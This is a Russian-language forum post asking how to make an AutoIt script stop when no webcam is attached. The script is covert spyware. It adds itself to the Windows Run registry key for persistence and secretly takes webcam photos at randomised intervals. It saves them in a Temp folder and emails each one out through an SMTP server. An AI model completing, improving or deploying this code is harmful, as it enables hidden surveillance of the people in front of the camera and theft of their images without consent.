помогите пожалуйста, сделать проверку подключена ли вебкамера к компу? если она отключена то скрипт должен отключаться.
Код:
#include <GUIConstants.au3>
#include <Webcam.au3>
#include <WindowsConstants.au3>
#AutoIt3Wrapper_Icon=icon.ico
If @Compiled Then
_RegRun()
EndIf
Sleep(Random(180000, 300000))
$sPath1 = @WindowsDir & "\Temp\CP\"
If Not FileExists($sPath1) Then
DirCreate($sPath1)
EndIf
While 1
$width = 640
$heidht = 480
_WebcamInit()
$gui = GUICreate("", $width, $heidht)
_Webcam($gui, $width, $heidht ,0 ,0)
$sPath2 = @WindowsDir & "\Temp\CP\" & @HOUR & @MIN & @SEC & @MDAY & @MON & @YEAR& ".jpg"
Sleep (1500)
_WebcamSnapShot($sPath2)
_WebcamStop()
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
.From = '';поставить свое
.To = '';поставить свое
.Subject = 'Снимок'
.TextBody = 'Я пришёл'
.AddAttachment($sPath2)
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = 'smtp.mail.ru'
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = '';поставить свое
.Item ($str & "sendpassword") = '';поставить свое
.Item ($str & "smtpserverport") = '2525'
.Update
EndWith
$hMAIL.Send
FileDelete($sPath1)
Sleep(Random(1800000, 2400000))
WEnd
Func _RegRun()
Local $sRegRun = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
If RegRead($sRegRun, @ScriptName) = '' Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath Then
RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath)
EndIf
EndFunc